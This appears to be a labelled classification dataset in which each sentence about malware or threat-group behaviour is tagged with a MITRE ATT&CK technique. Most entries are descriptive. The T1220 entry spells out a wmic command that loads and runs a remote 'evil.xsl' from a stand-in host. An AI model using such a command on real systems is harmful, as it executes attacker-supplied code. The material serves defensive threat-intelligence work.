Blue Mockingbird has made their XMRIG payloads persistent as a Windows Service.
Technique: T1543: Create or Modify System Process
When used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege .
Technique: T1547: Boot or Logon Autostart Execution
Adversaries may target resource intensive features of web applications to cause a denial of service .
Technique: T1499: Endpoint Denial of Service
Pasam creates a backdoor through which remote attackers can delete files.
Technique: T1070: Indicator Removal on Host
Okrum was seen using NetSess to discover NetBIOS sessions.
Technique: T1049: System Network Connections Discovery
Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic.
Technique: T1071: Application Layer Protocol
Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out.
Technique: T1552: Unsecured Credentials
ShadowPad has collected the PID of a malicious process.
Technique: T1057: Process Discovery
Dok downloads and installs Tor via homebrew.
Technique: T1090: Proxy
Adversaries may rely on a user running a malicious image to facilitate execution.
Technique: T1204: User Execution
Ebury has been embedded into modified OpenSSH binaries to gain persistent access to SSH credential information.
Technique: T1554: Compromise Client Software Binary
They have also exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.
Technique: T1190: Exploit Public-Facing Application
Adversaries may rent Virtual Private Servers  that can be used during targeting.
Technique: T1583: Acquire Infrastructure
Lastly, the new variant of RogueRobin is capable of using the Google Drive cloud service for its C2 channel, suggesting that DarkHydrus may be shifting to abusing legitimate cloud services for their infrastructure
Technique: T1102: Web Service
Kwampirs downloads additional files that are base64-encoded and encrypted with another cipher.
Technique: T1027: Obfuscated Files or Information
Kinsing was executed with an Ubuntu container entry point that runs shell scripts.
Technique: T1609: Container Administration Command
Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands.
Technique: T1564: Hide Artifacts
Bankshot recursively generates a list of files within a directory and sends them back to the control server.
Technique: T1119: Automated Collection
Evilnum has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.
Technique: T1204: User Execution
APT37 has access to destructive malware that is capable of overwriting a machine's Master Boot Record .
Technique: T1561: Disk Wipe
This information may also include specifics regarding network devices  and other infrastructure.
Technique: T1590: Gather Victim Network Information
Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.
Technique: T1499: Endpoint Denial of Service
Avenger can extract backdoor malware from downloaded images.
Technique: T1027: Obfuscated Files or Information
CopyKittens digitally signed an executable with a stolen certificate from legitimate company AI Squared.
Technique: T1553: Subvert Trust Controls
SMOKEDHAM can execute Powershell commands sent from its C2 server.
Technique: T1059: Command and Scripting Interpreter
Kimsuky has used Visual Basic to download malicious payloads.
Technique: T1059: Command and Scripting Interpreter
Ursnif has used Reg to query the Registry for installed programs.
Technique: T1012: Query Registry
If a victim meets certain criteria, T9000 uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll.
Technique: T1546: Event Triggered Execution
GALLIUM used whoami and query user to obtain information about the victim user.
Technique: T1033: System Owner/User Discovery
Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence
Technique: T1547: Boot or Logon Autostart Execution
SpeakUp uses Python scripts.
Technique: T1059: Command and Scripting Interpreter
Equation has used an encrypted virtual file system stored in the Windows Registry.
Technique: T1564: Hide Artifacts
Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device.
Technique: T1052: Exfiltration Over Physical Medium
Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
Technique: T1059: Command and Scripting Interpreter
Pony has collected the Service Pack, language, and region information to send to the C2.
Technique: T1082: System Information Discovery
To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.
Technique: T1137: Office Application Startup
Custom tools may also be used to gather file and directory information and interact with the Native API.
Technique: T1083: File and Directory Discovery
Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.
Technique: T1090: Proxy
With sufficient permissions, a compromised account can gain almost unlimited access to data and settings  via the global admin role.
Technique: T1098: Account Manipulation
FYAnti can search the C:\Windows\Microsoft.NET\ directory for files of a specified size.
Technique: T1083: File and Directory Discovery
Process injection is a method of executing arbitrary code in the address space of a separate live process.
Technique: T1055: Process Injection
Command-line examples:
* Local File: wmic process list /FORMAT:evil.xsl
* Remote File: wmic os get /FORMAT:”https://example.com/evil.xsl” Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain.
Technique: T1220: XSL Script Processing
Sandworm Team has delivered malicious Microsoft Office attachments via spearphishing emails.
Technique: T1566: Phishing
Downdelph uses RC4 to encrypt C2 responses.
Technique: T1573: Encrypted Channel
More_eggs uses HTTPS for C2.
Technique: T1071: Application Layer Protocol
The OwaAuth web shell is likely created with a builder, given that the PE compile time of the binary does not change between instances and the configuration fields are padded to a specific size
Technique: T1505: Server Software Component
Lucifer can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server.
Technique: T1071: Application Layer Protocol
Revenge RAT uses the PowerShell command Reflection.Assembly to load itself into memory to aid in execution.
Technique: T1059: Command and Scripting Interpreter